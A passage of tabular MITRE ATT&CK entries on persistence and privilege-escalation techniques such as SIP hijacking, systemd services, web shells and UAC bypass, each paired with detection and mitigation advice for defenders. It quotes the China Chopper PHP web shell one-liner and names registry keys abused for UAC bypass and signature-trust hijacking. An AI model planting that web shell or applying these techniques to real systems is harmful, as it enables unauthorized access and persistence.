of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.	Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation. Identify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.	persistence, privilege-escalation	Process command-line parameters, Services, Windows Registry	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1058

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1166	1	**Technique**	**Setuid and Setgid**	When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively (Citation: setuid man page). Normally an application is run in the current user's context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn't need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. An adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user's context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future (Citation: OSX Keydnap malware).	Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.	Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system.	privilege-escalation, persistence	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS	User	https://attack.mitre.org/techniques/T1166
T1023	1	**Technique**	**Shortcut Modification**	Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.	Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.	Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links) Identify and block unknown, potentially malicious software that may be executed through shortcut modification by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	persistence	File monitoring, Process monitoring, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1023
T1198	1	**Technique**	**SIP and Trust Provider Hijacking**	In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017) Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017) Similar to [Code Signing](https://attack.mitre.org/techniques/T1116), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and whitelisting tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017) * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID}</code> that point to the dynamic link library (DLL) providing a SIP's CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file's real signature, an adversary can apply an acceptable signature value all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file). * Modifying the <code>Dll</code> and <code>FuncName</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID}</code> that point to the DLL providing a SIP's CryptSIPDllVerifyIndirectData function, which validates a file's computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk. * Modifying the <code>DLL</code> and <code>Function</code> Registry values in <code>HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID}</code> that point to the DLL providing a trust provider's FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP's CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex). * **Note:** The above hijacks are also possible without modifying the Registry via [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017)	Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) Enable CryptoAPI v2 (CAPI) event logging (Citation: Entrust Enable CAPI2 Aug 2017) to monitor and analyze error events related to failed trust validation (Event ID 81, though this event can be subverted by hijacked trust provider components) as well as any other provided information events (ex: successful validations). Code Integrity event logging may also provide valuable indicators of malicious SIP or trust provider loads, since protected processes that attempt to load a maliciously-crafted trust validation component will likely fail (Event ID 3033). (Citation: SpectorOps Subverting Trust Sept 2017) Utilize Sysmon detection rules and/or enable the Registry (Global Object Access Auditing) (Citation: Microsoft Registry Auditing Aug 2016) setting in the Advanced Security Audit policy to apply a global system access control list (SACL) and event auditing on modifications to Registry values (sub)keys related to SIPs and trust providers: (Citation: Microsoft Audit Registry July 2012) * HKLM\SOFTWARE\Microsoft\Cryptography\OID * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\OID * HKLM\SOFTWARE\Microsoft\Cryptography\Providers\Trust * HKLM\SOFTWARE\WOW6432Node\Microsoft\Cryptography\Providers\Trust **Note:** As part of this technique, adversaries may attempt to manually edit these Registry keys (ex: Regedit) or utilize the legitimate registration process using [Regsvr32](https://attack.mitre.org/techniques/T1117). (Citation: SpectorOps Subverting Trust Sept 2017) Analyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure "Hide Microsoft Entries" and "Hide Windows Entries" are both deselected. (Citation: SpectorOps Subverting Trust Sept 2017)	Ensure proper permissions are set for Registry hives to prevent users from modifying keys related to SIP and trust provider components. Also ensure that these values contain their full path to prevent [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). (Citation: SpectorOps Subverting Trust Sept 2017) Consider removing unnecessary and/or stale SIPs. (Citation: SpectorOps Subverting Trust Sept 2017) Restrict storage and execution of SIP DLLs to protected directories, such as C:\Windows, rather than user directories. Enable whitelisting solutions such as AppLocker and/or Device Guard to block the loading of malicious SIP DLLs. Components may still be able to be hijacked to suitable functions already present on disk if malicious modifications to Registry keys are not prevented.	defense-evasion, persistence	API monitoring, Application logs, DLL monitoring, Loaded DLLs	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1198
T1165	1	**Technique**	**Startup Items**	Per Apple's documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, <code>/Library/StartupItems</code> isn't guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. An adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.	The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.	Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered. Similarly, appropriate permissions should be applied such that only specific users can edit the startup items so that they can't be leveraged for privilege escalation.	persistence, privilege-escalation	File monitoring, Process monitoring	macOS	Administrator	https://attack.mitre.org/techniques/T1165

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1019	**1**	**Technique**	**System Firmware**	The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI) System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.	System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior. Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)	Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS or EFI to determine if it is vulnerable to modification. Patch the BIOS and EFI as necessary. Use Trusted Platform Module technology. (Citation: TCG Trusted Platform Module)	persistence	API monitoring, BIOS, EFI	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1019
T1501	**1**	**Technique**	**Systemd Service**	Systemd services can be used to establish persistence on a Linux system. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems. Systemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories and have the file extension <code>.service</code>. Each service unit file may contain numerous directives that can execute system commands. * ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. * ExecReload directive covers when a service restarts. * ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'. Adversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at recurring intervals, such as at system boot.(Citation: Anomali Rocke March 2019)(Citation: gist Arch package compromise 10JUL2018)(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) While adversaries typically require root privileges to create/modify service unit files in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code> directories, low privilege users can create/modify service unit files in directories such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)	Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of 'systemd', a parent process ID of 1, and will usually execute as the 'root' user. Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units --type=service -all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables. Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.	The creation and modification of systemd service unit files is generally reserved for administrators such as the Linux root user and other users with superuser privileges. Limit user access to system utilities such as systemctl to only users who have a legitimate need. Restrict read/write access to systemd unit files to only select privileged users who have a legitimate need to manage system services. Additionally, the installation of software commonly adds and changes systemd service unit files. Restrict software installation to trusted repositories only and be cautious of orphaned software packages. Utilize malicious code protection and application whitelisting to mitigate the ability of malware to create or modify systemd services.	persistence	Process command-line parameters, Process monitoring, File monitoring	Linux	root, User	https://attack.mitre.org/techniques/T1501
T1209	**1**	**Technique**	**Time Providers**	The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider) Time providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of <code>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\</code>. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider) Adversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)	Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017) The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)	Identify and block potentially malicious software that may be executed as a time provider by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs. Consider using Group Policy to configure and block subsequent modifications to W32Time parameters. (Citation: Microsoft W32Time May 2017)	persistence	API monitoring, Binary file metadata, DLL monitoring, File monitoring	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1209
T1100	**1**	**Technique**	**Web Shell**	A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013) Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.	Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) <code><?php @eval($_POST['password']);></code> Nevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)	Ensure that externally facing Web servers are patched regularly to prevent adversary access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) to gain remote code access or through file inclusion weaknesses that may allow adversaries to upload files or scripts that are automatically served as Web pages. Audit account and group permissions to ensure that accounts used to manage servers do not overlap with accounts and permissions of users in the internal network that could be acquired through Credential Access and used to log into the Web server and plant a Web shell or pivot from the Web server into the internal network. (Citation: US-CERT Alert TA15-314A Web Shells)	persistence, privilege-escalation	Anti-virus, Authentication logs, File monitoring, Netflow/Enclave netflow	Linux, Windows		https://attack.mitre.org/techniques/T1100
T1084	**1**	**Technique**	**Windows Management Instrumentation Event Subscription**	Windows Management Instrumentation (WMI) can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Adversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. Adversaries may attempt to evade detection of this technique by compiling WMI scripts into Windows Management Object (MOF) files (.mof extension). (Citation: Dell WMI Persistence) Examples of events that may be subscribed to are the wall clock time or the computer's uptime. (Citation: Kazanciyan 2014) Several threat groups have reportedly used this technique to maintain persistence. (Citation: Mandiant M-Trends 2015)	Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence)	Disabling WMI services may cause system instability and should be evaluated to assess the impact to a network. By default, only administrators are allowed to connect remotely using WMI; restrict other users that are allowed to connect, or disallow all users from connecting remotely to WMI. Prevent credential overlap across systems of administrator and privileged accounts. (Citation: FireEye WMI 2015)	persistence	WMI Objects	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1084

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1004	**1**	**Technique**	**Winlogon Helper DLL**	Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in <code>HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\</code> and <code>HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\</code> are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013) * Winlogon\Notify - points to notification package DLLs that handle Winlogon events * Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on * Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.	Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious. Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.	Limit the privileges of user accounts so that only authorized administrators can perform Winlogon helper changes. Identify and block potentially malicious software that may be executed through the Winlogon helper process by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.	persistence	Windows Registry, File monitoring, Process monitoring	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1004
TA0004	**0**	**Tactic**	**Privilege Escalation**	The adversary is trying to gain higher-level permissions. Privilege Escalation consists of techniques that adversaries use to gain higher-level permissions on a system or network. Adversaries can often enter and explore a network with unprivileged access but require elevated permissions to follow through on their objectives. Common approaches are to take advantage of system weaknesses, misconfigurations, and vulnerabilities. Examples of elevated access include: â€¢SYSTEM/root level â€¢local administrator â€¢user account with admin-like access â€¢user accounts with access to specific system or perform specific function These techniques often overlap with Persistence techniques, as OS features that let an adversary persist can execute in an elevated context.							https://attack.mitre.org/tactics/TA0004
T1134	**1**	**Technique**	**Access Token Manipulation**	Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command <code>runas</code>.(Citation: Microsoft runas) Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation) Access tokens can be leveraged by adversaries through three methods:(Citation: BlackHat Atkinson Winchester Token Manipulation) **Token Impersonation/Theft** - An adversary creates a new access token that duplicates an existing token using <code>DuplicateToken(Ex)</code>. The token can then be used with <code>ImpersonateLoggedOnUser</code> to allow the calling thread to impersonate a logged on user's security context, or with <code>SetThreadToken</code> to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system. **Create Process with a Token** - An adversary creates a new access token with <code>DuplicateToken(Ex)</code> and uses it with <code>CreateProcessWithTokenW</code> to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user. **Make and Impersonate Token** - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the <code>LogonUser</code> function. The function will return a copy of the new session's access token and the adversary can use <code>SetThreadToken</code> to assign the token to a thread. Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. Metasploit's Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges.(Citation: Metasploit access token) The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. (Citation: Cobalt Strike Access Token)	If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. There are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., <code>LogonUser</code> (Citation: Microsoft LogonUser), <code>DuplicateTokenEx</code>(Citation: Microsoft DuplicateTokenEx), and <code>ImpersonateLoggedOnUser</code>(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information. Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)	Access tokens are an integral part of the security system within Windows and cannot be turned off. However, an attacker must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require to do their job. Any user can also spoof access tokens if they have legitimate credentials. Follow mitigation guidelines for preventing adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Limit permissions so that users and user groups cannot create tokens. This setting should be defined for the local system account only. GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create a token object. (Citation: Microsoft Create Token) Also define who can create a process level token to only the local and network service through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Replace a process level token. (Citation: Microsoft Replace Process Token) Also limit opportunities for adversaries to increase privileges by limiting Privilege Escalation opportunities.	defense-evasion, privilege-escalation	API monitoring, Access tokens, Process monitoring, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1134
T1088	**1**	**Technique**	**Bypass User Account Control**	Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works) If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user. (Citation: Davidson Windows) Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected. Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods (Citation: Github UACMe) that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as: * <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script. (Citation: enigma0x3 Fileless UAC Bypass) (Citation: Fortinet Fareit) Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity. (Citation: SANS UAC Bypass)	There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038), which indicate attempts to gain access to higher privileged processes. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example: * The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Classes\mscfile\shell\open\command</code> Registry key. (Citation: enigma0x3 Fileless UAC Bypass) * The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe</code> and <code>[HKEY_CURRENT_USER]\Software\Classes\exefile\shell\runas\command\isolatedCommand</code> Registry keys. (Citation: enigma0x3 sdclt app paths) (Citation: enigma0x3 sdclt bypass) Analysts should monitor these Registry settings for unauthorized changes.	Remove users from the local administrator group on systems. Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038). Check for common UAC bypass weaknesses on Windows systems to be aware of the risk posture and address issues where appropriate. (Citation: Github UACMe)	defense-evasion, privilege-escalation	System calls, Process monitoring, Authentication logs, Process command-line parameters	Windows	User, Administrator	https://attack.mitre.org/techniques/T1088

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1514	**1**	**Technique**	**Elevated Execution with Prompt**	Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges. Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)	Consider monitoring for <code>/usr/libexec/security_authtrampoline</code> executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.		privilege-escalation	File monitoring, Process monitoring, API monitoring	macOS	Administrator, User	https://attack.mitre.org/techniques/T1514
